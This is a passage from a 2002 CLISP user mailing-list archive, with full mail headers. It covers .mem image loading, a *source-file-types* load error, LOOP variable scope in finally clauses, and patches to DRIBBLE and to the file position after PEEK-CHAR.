do the former. Is it even possible to edit a .mem file like a text file and have the result be loadable by clisp, binary character issues aside???. I'd be really surprised if you can. Assuming that you're attempting to do that, this error implies that you're running into character set issues: Backtrace tells me: Character #\u2039 cannot be represented in the character set CHARSET:CP850. (Basically, the binary .mem file contains a byte sequence that cannot be represented using CHARSET:CP850.) -- Darryl Okahata darrylo@soco.agilent.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Agilent Technologies, or of the little green men that have been following him all day. From Joerg-Cyril.Hoehle@t-systems.com Mon Dec 02 08:50:18 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Itlw-0000eo-00 for ; Mon, 02 Dec 2002 08:50:16 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 2 Dec 2002 17:50:07 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 2 Dec 2002 17:50:07 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: df@psychology.nottingham.ac.uk Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] open .mem file in emacs (windows) (cracked it) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 2 08:55:21 2002 X-Original-Date: Mon, 2 Dec 2002 17:50:07 +0100 Daniel Freudenthal wrote: >I wrote a small >function which changes the clisp-hs-program variable to the image to = be >loaded, and added that to .emacs. > Invoking this function from the shell >changes the image to be loaded, and when you then start CLISP,=20 >it opens the correct image. That's what you do? Start CLISP interactively from a shell? No M-x = run-lisp? > For the novice the solution seems >somewhat roundabout I'm unclear about what you're trying to do. Examples would help here I = presume. Emacs or CLISP variables and functions? But if your goal is to set a couple of *foo* variables of CLISP, you = could have a look at .clisprc (though I never used that) which can be = loaded everytime CLISP starts up. The section in the CLISP manual explaining how to change config.lisp, = dump an image (savemem or saveinitmem) and use it predates by far the = .clisprc feature. Choose whatever pleases you. Regards, J=F6rg H=F6hle. From dxs@privatei.com Mon Dec 02 15:01:26 2002 Received: from mantis.privatei.com ([208.203.136.20]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18IzZ7-0002Dj-00 for ; Mon, 02 Dec 2002 15:01:25 -0800 Received: from dxs by mantis.privatei.com with local (Exim 3.36 #2) id 18Izb9-0001lG-00 for clisp-list@sourceforge.net; Mon, 02 Dec 2002 16:03:31 -0700 To: clisp-list@sourceforge.net From: dan.stanger@ieee.org Reply-to: dan.stanger@ieee.org X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] load error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 2 15:02:02 2002 X-Original-Date: Mon, 2 Dec 2002 16:03:31 -0700 (MST) I am not sure if this is a known bug or its been fixed in the current cvs, but: On MS Windows 2000, loading garnet with Clisp version 2.30,i I and another user get the following error: *** - STRING=: argument #P".lisp" should be a string, a symbol or a character This problem is coming from load, from the following form. ;; File with precisely this name not present. ;; Search among the files the most recent one ;; with the same name and the Extensions "LISP", "FAS" (let ((present-files (search-file filename (progn (print extra-file-types) (print *compiled-file-types*) (print *source-file-types*) (append extra-file-types *compiled-file-types* *source-file-types*)))))) Where *source-file-types* has the value (#P".lisp" "lisp" "lsp" "cl"). This is around line 1270 in init.lisp. Does this problem jog anyones memory, and if so, was there a patch? Thanks, Dan Stanger From sds@gnu.org Mon Dec 02 16:27:09 2002 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18J0u5-0006pm-00 for ; Mon, 02 Dec 2002 16:27:09 -0800 Received: from loiso.podval.org ([151.203.48.21]) by pop016.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021203002702.FUKZ22431.pop016.verizon.net@loiso.podval.org>; Mon, 2 Dec 2002 18:27:02 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gB30Spk7015634; Mon, 2 Dec 2002 19:28:51 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gB30Soun015630; Mon, 2 Dec 2002 19:28:50 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] load error References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop016.verizon.net from [151.203.48.21] at Mon, 2 Dec 2002 18:27:02 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 2 16:28:02 2002 X-Original-Date: 02 Dec 2002 19:28:50 -0500 > * In message > * On the subject of "[clisp-list] load error" > * Sent on Mon, 2 Dec 2002 16:03:31 -0700 (MST) > * Honorable dan.stanger@ieee.org writes: > > Where *source-file-types* has the value (#P".lisp" "lisp" "lsp" "cl"). search your sources for a form that modifies *SOURCE-FILE-TYPES* and fix it. See . -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Why use Windows, when there are Doors? From sds@gnu.org Mon Dec 02 18:31:38 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18J2qY-0000td-00 for ; Mon, 02 Dec 2002 18:31:38 -0800 Received: from loiso.podval.org ([151.203.48.21]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021203023131.FJFB1532.pop017.verizon.net@loiso.podval.org>; Mon, 2 Dec 2002 20:31:31 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gB32XLk7015790; Mon, 2 Dec 2002 21:33:21 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gB32XLBf015786; Mon, 2 Dec 2002 21:33:21 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: CLOCC developer list Subject: Re: [clisp-list] load error References: <3DEC14FC.15687B58@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DEC14FC.15687B58@ieee.org> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.48.21] at Mon, 2 Dec 2002 20:31:31 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 2 18:32:02 2002 X-Original-Date: 02 Dec 2002 21:33:21 -0500 > * In message <3DEC14FC.15687B58@ieee.org> > * On the subject of "Re: [clisp-list] load error" > * Sent on Mon, 02 Dec 2002 19:20:45 -0700 > * Honorable Dan Stanger writes: > > Shouldn't it be possible to push a pathname on to source-file-types? file type is a string, not a pathname. > Also this behaviour changed from 2.28 where it worked to 2.30 where it doesn't. indeed, see the NEWS file. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Winners never quit; quitters never win; idiots neither win nor quit. From pascal@thalassa.informatimago.com Tue Dec 03 00:42:29 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18J8dK-0004wi-00 for ; Tue, 03 Dec 2002 00:42:22 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 2C4AC23409; Tue, 3 Dec 2002 09:41:36 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20021203084136.2C4AC23409@thalassa.informatimago.com> Subject: [clisp-list] scope in loops Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 3 00:43:05 2002 X-Original-Date: Tue, 3 Dec 2002 09:41:36 +0100 (CET) Is there any place in HyperSpec where the scope of the loop variables is specified? Consider this loop: (loop for ai in a for bi in b while (eq ai bi) finally return (any-lessp ai bi)) In emacs, it works as expected, but in clisp, we get this error: "BI is neither declared nor bound, it will be treated as if it were declared SPECIAL." because ai and bi are not available in the finally clauses. Obviously, I expected a loop similar to: (do* ( (ap a (cdr ap)) (ai (car ap) (car ap)) (bp b (cdr bp)) (bi (car bp) (car bp)) ) ( (not (and ai bi (eq ai bi))) (any-lessp ai bi) ) ) Since the lists may be of different length, we may be left with no ai, but still have a bi, and one could want to be able to process it in a finally clause, like in with the do* loop. What's more, with this short scope currently implemented in clisp, it's not possible to know what list ended first, so the loop construct becomes quite impractical. Could this be considered a defect in the loop implementation of clisp? (show (macroexpand (quote (loop for ai in a for bi in b while (eq ai bi) finally return (any-lessp ai bi)) ))) emacs: (cl-block-wrapper (catch (quote --cl-block-nil--) (let* ((G419505 a) (ai nil) (G419506 b) (bi nil)) (while (and (consp G419505) (progn (setq ai (car G419505)) (consp G419506)) (progn (setq bi (car G419506)) (eq ai bi))) (setq G419505 (cdr G419505)) (setq G419506 (cdr G419506))) (any-lessp ai bi)))) clisp: (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR))) (BLOCK NIL (LET NIL (LET ((#:G554 A)) (PROGN (LET ((AI NIL)) (LET ((#:G555 NIL)) (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP))) (TAGBODY (PROGN (SETQ #:G555 B)) SYSTEM::BEGIN-LOOP (PROGN (WHEN (ENDP #:G554) (LOOP-FINISH)) (SETQ AI (CAR #:G554))) (PROGN (WHEN (ENDP #:G555) (LOOP-FINISH)) (LET ((BI (CAR #:G555))) (PROGN (UNLESS (EQ AI BI) (LOOP-FINISH))))) (PROGN (PSETQ #:G554 (CDR #:G554)) (PSETQ #:G555 (CDR #:G555))) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP))) (RETURN-FROM NIL (ANY-LESSP AI BI)))))))))))) -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@gnu.org Tue Dec 03 09:19:30 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18JGhm-00036s-00 for ; Tue, 03 Dec 2002 09:19:30 -0800 Received: from loiso.podval.org ([151.203.48.21]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021203171922.JLZP1532.pop017.verizon.net@loiso.podval.org>; Tue, 3 Dec 2002 11:19:22 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gB3HLMk7024945; Tue, 3 Dec 2002 12:21:22 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gB3HLKRn024941; Tue, 3 Dec 2002 12:21:20 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Edi Weitz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (DRIBBLE) in debugger References: <87bs461whs.fsf@bird.agharta.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 185 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.48.21] at Tue, 3 Dec 2002 11:19:22 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 3 09:20:05 2002 X-Original-Date: 03 Dec 2002 12:21:20 -0500 > Instead of the current (quite complicated) implementation, we could > just check SYS::*DRIBBLE-STREAM* whenever a stream action is done on a > strmtype_terminal and act appropriately on SYS::*DRIBBLE-STREAM*. > This will not be too hard to implement. > The drawback is some (probably negligible) slowdown of terminal i/o > (which should not be too important since people generally do not use > terminal to do much i/o). instead I decided that DRIBBLE will change *TERMINAL-IO* (which is not bound by any other routine). now you can make a DRIBBLE-STREAM for any i/o stream FOO using the same idiom: (setq foo (make-dribble-stream foo (open "dribble-file" ...))) and then restore FOO using (setq foo (dribble-stream-source foo)) please stress-test this patch. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Failure is not an option. It comes bundled with your Microsoft product. Index: src/savemem.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/savemem.lisp,v retrieving revision 1.15 diff -u -w -b -r1.15 savemem.lisp --- src/savemem.lisp 4 Jun 2002 18:46:54 -0000 1.15 +++ src/savemem.lisp 3 Dec 2002 17:15:08 -0000 @@ -55,7 +55,6 @@ *condition-restarts* nil *command-index* 0 *home-package* nil) - (dribble-reset) (setq *driver* old-driver) (when init-function (funcall init-function)) (funcall *driver*)))) Index: src/dribble.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/dribble.lisp,v retrieving revision 1.4 diff -u -w -b -r1.4 dribble.lisp --- src/dribble.lisp 2 Dec 2002 00:38:10 -0000 1.4 +++ src/dribble.lisp 3 Dec 2002 17:15:08 -0000 @@ -1,86 +1,54 @@ ;;;; Dribble +(in-package "EXT") +(export '(make-dribble-stream dribble-stream-p dribble-stream + dribble-stream-source dribble-stream-target)) + (in-package "SYSTEM") ;;----------------------------------------------------------------------------- ;; DRIBBLE -;; The use of an intermediate synonym-stream is for robustness. -;; (Just try dribbling to a file on a full disk partition...) -(defvar *dribble-stream* nil) +(defun make-dribble-stream (source target) + (make-two-way-stream (make-echo-stream source target) + (make-broadcast-stream source target))) +(defun dribble-stream-p (stream) + (and (sys::two-way-stream-p stream) + (let ((in (two-way-stream-input-stream stream)) + (out (two-way-stream-output-stream stream))) + (and (sys::echo-stream-p in) (sys::broadcast-stream-p out) + (let ((so (echo-stream-input-stream in)) + (ta (echo-stream-output-stream in)) + (bl (broadcast-stream-streams out))) + (and (eq so (pop bl)) + (eq ta (pop bl)))))))) +(deftype dribble-stream () '(satisfies dribble-stream-p)) +(defun dribble-stream-source (ds) + (check-type ds dribble-stream) + (echo-stream-input-stream (two-way-stream-input-stream ds))) +(defun dribble-stream-target (ds) + (check-type ds dribble-stream) + (echo-stream-output-stream (two-way-stream-input-stream ds))) -(let ((dribble-file nil) (dribbled-input nil) (dribbled-output nil) - (dribbled-error-output nil) (dribbled-trace-output nil) - (dribbled-query-io nil) (dribbled-debug-io nil)) - (defun dribble-reset () - (setq dribble-file nil dribbled-input nil dribbled-output nil - dribbled-error-output nil dribbled-trace-output nil - dribbled-query-io nil dribbled-debug-io nil - *dribble-stream* nil)) (defun dribble (&optional file) - (if file - (if dribble-file - (warn (TEXT "Already dribbling to ~S") *dribble-stream*) - ;; Dribbling means to redirect all screen output to the file. - ;; We redirect all standard streams. More precisely, those - ;; which are #. Those which are - ;; synonyms to other standard streams indirectly referring - ;; to # are not redirected, - ;; because that would cause each output to this stream to - ;; be written twice to the dribble-file. - (labels ((goes-to-terminal (stream) ; this is a hack - (and (typep stream 'synonym-stream) - (eq (synonym-stream-symbol stream) '*terminal-io*))) - (goes-indirectly-to-terminal (stream) ; an even bigger hack - (and (typep stream 'synonym-stream) - (let ((sym (synonym-stream-symbol stream))) - (and (boundp sym) - (let ((stream (symbol-value sym))) - (or (goes-to-terminal stream) - (goes-indirectly-to-terminal - stream)))))))) - (setq *dribble-stream* (open file :direction :output + (if (dribble-stream-p *terminal-io*) + (if file ; already dribbling + (warn (TEXT "Already dribbling to ~S") + (dribble-stream-target *terminal-io*)) + (let ((so (dribble-stream-source *terminal-io*)) + (ta (dribble-stream-target *terminal-io*))) + (setq *terminal-io* so) + (write-string (TEXT ";; Dribble finished ") ta) + (funcall (date-format) ta (multiple-value-list (get-decoded-time))) + (terpri ta) (close ta) + ta)) + (if file ; not dribbling + (let ((ta (open file :direction :output :if-exists :append - :if-does-not-exist :create) - dribble-file (make-synonym-stream '*dribble-stream*)) - (write-string (TEXT ";; Dribble started ") *dribble-stream*) - (funcall (date-format) *dribble-stream* - (multiple-value-list (get-decoded-time))) - (terpri *dribble-stream*) - (macrolet ((save (glo loc type) - `(if (goes-indirectly-to-terminal ,glo) - (setq ,loc nil) - (setq ,loc ,glo - ,glo - ,(ecase type - (:in `(make-echo-stream - ,glo dribble-file)) - (:out `(make-broadcast-stream - ,glo dribble-file)) - (:io `(make-two-way-stream - (make-echo-stream ,glo dribble-file) - (make-broadcast-stream - ,glo dribble-file)))))))) - (save *standard-input* dribbled-input :in) - (save *standard-output* dribbled-output :out) - (save *error-output* dribbled-error-output :out) - (save *trace-output* dribbled-trace-output :out) - (save *query-io* dribbled-query-io :io) - (save *debug-io* dribbled-debug-io :io)) - *dribble-stream*)) - (if dribble-file - (macrolet ((restore (loc glo) `(when ,loc (setq ,glo ,loc ,loc nil)))) - (restore dribbled-input *standard-input*) - (restore dribbled-output *standard-output*) - (restore dribbled-error-output *error-output*) - (restore dribbled-trace-output *trace-output*) - (restore dribbled-query-io *query-io*) - (restore dribbled-debug-io *debug-io*) - (setq dribble-file nil) - (write-string (TEXT ";; Dribble finished ") *dribble-stream*) - (funcall (date-format) *dribble-stream* - (multiple-value-list (get-decoded-time))) - (terpri *dribble-stream*) - (close *dribble-stream*) - (prog1 *dribble-stream* (setq *dribble-stream* nil))) - (warn (TEXT "Currently not dribbling.")))))) + :if-does-not-exist :create))) + (write-string (TEXT ";; Dribble started ") ta) + (funcall (date-format) ta (multiple-value-list (get-decoded-time))) + (terpri ta) + (setq *terminal-io* (make-dribble-stream *terminal-io* ta)) + ta) + (warn (TEXT "Currently not dribbling."))))) From sds@gnu.org Tue Dec 03 09:21:03 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18JGjH-0003Gg-00 for ; Tue, 03 Dec 2002 09:21:03 -0800 Received: from loiso.podval.org ([151.203.48.21]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021203172057.KOKI24616.pop015.verizon.net@loiso.podval.org>; Tue, 3 Dec 2002 11:20:57 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gB3HMuk7024952; Tue, 3 Dec 2002 12:22:56 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gB3HMjxf024948; Tue, 3 Dec 2002 12:22:45 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] scope in loops References: <20021203084136.2C4AC23409@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20021203084136.2C4AC23409@thalassa.informatimago.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.48.21] at Tue, 3 Dec 2002 11:20:56 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 3 09:22:01 2002 X-Original-Date: 03 Dec 2002 12:22:45 -0500 > * In message <20021203084136.2C4AC23409@thalassa.informatimago.com> > * On the subject of "[clisp-list] scope in loops" > * Sent on Tue, 3 Dec 2002 09:41:36 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > Is there any place in HyperSpec where the scope of the loop variables > is specified? no. it has been discussed in c.l.l and the consensus appeared to be that the iteration variables will not necessarily exist inside finally clauses. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I don't have an attitude problem. You have a perception problem. From sds@gnu.org Tue Dec 03 09:30:33 2002 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18JGsT-0004IS-00 for ; Tue, 03 Dec 2002 09:30:33 -0800 Received: from loiso.podval.org ([151.203.48.21]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021203173026.LLBW21770.out003.verizon.net@loiso.podval.org>; Tue, 3 Dec 2002 11:30:26 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gB3HWPk7025227; Tue, 3 Dec 2002 12:32:25 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gB3HWP8o025223; Tue, 3 Dec 2002 12:32:25 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Bob Bechtel Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Possible bug: PEEK-CHAR advances file pointer References: <3DDE9F9B.5020807@attbi.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DDE9F9B.5020807@attbi.com> Message-ID: Lines: 81 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out003.verizon.net from [151.203.48.21] at Tue, 3 Dec 2002 11:30:26 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 3 09:31:07 2002 X-Original-Date: 03 Dec 2002 12:32:24 -0500 please try the appended patch > * In message <3DDE9F9B.5020807@attbi.com> > * On the subject of "[clisp-list] Possible bug: PEEK-CHAR advances file pointer" > * Sent on Fri, 22 Nov 2002 15:20:27 -0600 > * Honorable Bob Bechtel writes: > > I'm not sure this is a bug -- it may be a question of CL Spec > interpretation. Here's the bug data: > > 1. Platform: Windows 2000, SP2. Hardware is P4, 512M. > 2-4. I'm using a binary distribution, clisp-2.30-win32.zip. I may be > able to rebuild from sources, but would prefer to wait until this is > confirmed as an error, rather than just a permissible CL spec > interpretation. > 5. lisp --version > GNU CLISP 2.30 (released 2002-09-15) (built 2002-09-15 11:22:41) > Features: (CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS > GENERIC-STREAMS > LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER SYSCALLS > DIR-KEY PC386 > WIN32) > 6. Example... > > I did (setf bbna (merge-pathnames "I.NEX")) to get a pathname to an > existing file. Then > > [10]> (with-open-file (foo bbna) > (format t "~%Current file position = ~A~%" > (file-position foo)) > (format t "PEEK-CHAR gets ~C~%" (peek-char nil foo)) > (format t "File position is now ~A~%" (file-position foo)) > (format t "Second PEEK-CHAR gets ~C~%" (peek-char nil foo)) > (format t " while making file position ~A~%" > (file-position foo))) > > Current file position = 0 > PEEK-CHAR gets i > File position is now 1 > Second PEEK-CHAR gets i > while making file position 1 > NIL > > I was expecting that the file position would remain 0 through both > PEEK-CHAR calls. The other CL implementations I've tried (Allegro, > Corman, and Lispworks) all keep file position at 0, but as I look > through the Hyperspec, it says that (PEEK-CHAR NIL ...) must keep the > character in the buffer for subsequent operations, but doesn't > explicitly require the file pointer to remain unchanged. > > So, I don't know if this is really a bug, or just a permissible > (though surprising to me) interpretation of the spec. > > Suggestions? Thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Abandon all hope, all ye who press Enter. Index: stream.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/stream.d,v retrieving revision 1.317 diff -u -w -b -u -b -w -i -B -r1.317 stream.d --- stream.d 2 Dec 2002 14:24:19 -0000 1.317 +++ stream.d 3 Dec 2002 17:29:08 -0000 @@ -17260,7 +17260,10 @@ } else { if (!boundp(position)) { # position not specified -> Position as value: - VALUES1(UL_to_I(BufferedStream_position(stream))); + VALUES1(UL_to_I(BufferedStream_position(stream) - + /* if a character has been unread, decrement position */ + (TheStream(stream)->strmflags & strmflags_unread_B + ? 1 : 0))); } else { if (eq(position,S(Kstart))) { # :START -> set position to start: From kmorgan@inter-tax.com Tue Dec 03 09:34:04 2002 Received: from picasso.inter-tax.com ([204.221.208.211] helo=inter-tax.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18JGvr-0005xE-00 for ; Tue, 03 Dec 2002 09:34:03 -0800 Received: from edison ([64.247.204.2]) by inter-tax.com ([204.221.208.211]) with SMTP (MDaemon.PRO.v6.5.1.R) for ; Tue, 03 Dec 2002 11:33:31 -0600 From: "Keith Morgan" To: Message-ID: <003401c29af2$0bfc9160$3b01a8c0@intertax.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal X-MDRemoteIP: 64.247.204.2 X-Return-Path: kmorgan@inter-tax.com X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Unicode question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 3 09:35:02 2002 X-Original-Date: Tue, 3 Dec 2002 11:33:09 -0600 I am considering using clisp on Windows but Unicode support is critical to me and I have a question I haven't been able to resolve via FAQ. In Windows I can switch my keyboard mapping between two languages (e.g. English and Hindi), and most programs, such as Notepad, will render the resulting mixed-language text correctly. I can save a Notepad file in Unicode format and reopen it in Notepad or Word and both programs render the file correctly. I'm 